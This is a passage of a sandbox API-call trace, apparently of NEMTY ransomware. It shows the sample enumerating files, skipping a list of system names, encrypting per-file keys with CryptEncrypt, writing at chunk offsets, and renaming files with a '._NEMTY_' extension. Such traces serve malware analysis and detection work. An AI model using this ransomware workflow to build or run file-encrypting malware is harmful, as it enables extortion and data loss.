lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0076.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="WAEFvF1tWnhSLkWBPMzHpEgyaRonzXnC2tA1R1TSk92UgThJw0MTaylkjTQJHpu3\r\nnYsuS5lNBjEQoOjv4763957wQemGmvu5ywIm309Y3HF+GOcnn7bWzLFSwUpJY6+i\r\nnm/h0MoQfeByW8BajqZHDbPZ3GHnH3rkxq4fTYe5GwgrCMvl//0CB5Mbw2hYGCNE\r\n7z5rpe5EVldnSS6xhXM1h4FINR1zTCbp2x+NCMO+51+sT1pZV9smfgQkZ1udCQCl\r\nOYEvH+mDRXZcLIEgZA9kPtrn992bdYm3HsrIwX8+ZAG1o6pxwD3fOP0fb9Ki//Pg\r\nKR2nit2ec4mhumeqlfIFEg==\r\n", pcchString=0x653e91c) returned 1 [0076.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0076.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.642] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.642] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.749] CloseHandle (hObject=0xffffffff) returned 0 [0076.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0076.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0076.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.749] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png._nemty_kgobjgd_")) returned 0 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0076.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.750] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2=".") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="..") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="...") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="windows") returned -1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="$RECYCLE.BIN") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="rsa") returned -1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="NTDETECT.COM") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="ntldr") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="MSDOS.SYS") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="IO.SYS") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="boot.ini") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="boot.ini") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="ntuser.dat") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="desktop.ini") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="CONFIG.SYS") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="RECYCLER") returned -1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="BOOTSECT.BAK") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="bootmgr") returned 1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="programdata") returned -1 [0076.750] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="appdata") returned 1 [0076.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0076.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-ImageMask.png", lpUsedDefaultChar=0x0) returned 30 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0076.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-ImageMask.png", lpUsedDefaultChar=0x0) returned 30 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-ImageMask.png", lpUsedDefaultChar=0x0) returned 30 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_image-frame-ImageMask.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_image-frame-ImageMask.png", lpUsedDefaultChar=0x0) returned 30 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0076.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0076.751] Sleep (dwMilliseconds=0x5) [0076.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1671310, dwHighDateTime=0x1d561e7)) [0076.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1671310, dwHighDateTime=0x1d561e7)) [0076.775] GetLastError () returned 0x5 [0076.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.775] GetLastError () returned 0x5 [0076.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.775] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.775] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0076.776] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="pknH1YHgvctSLuGKbj7jEndmJ1waXoJBhK23AP33qHQlY+c5UrBcdaBC4PDBDJ2I\r\nJFGej3PYgLKT2u+VuKKD8kUT4gL067DeBJE83S2TSlsmS3jX3srO6MN9MUfzbkF6\r\nZbiSbhOHnYbLa9/OqETj8Wd5PewxX+HUc0SoP1dkHfQPHXSY1wQe8JtRvZMxfVCr\r\nds74ANbGwEngCVgICsWRgxOs0rM07bNjMphJ1BcjBsPa4QeJn0mbUJ6ZalRULmhO\r\n/7oYvTbNXOgazlyxUqmBLUe1FjY3qbgLmpofcZkjPCtA5Jelgpg8nULhCAxIMbq/\r\nrky/+yE6k9Ar4jEYIjJlTA==\r\n", pcchString=0x653e91c) returned 1 [0076.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.776] 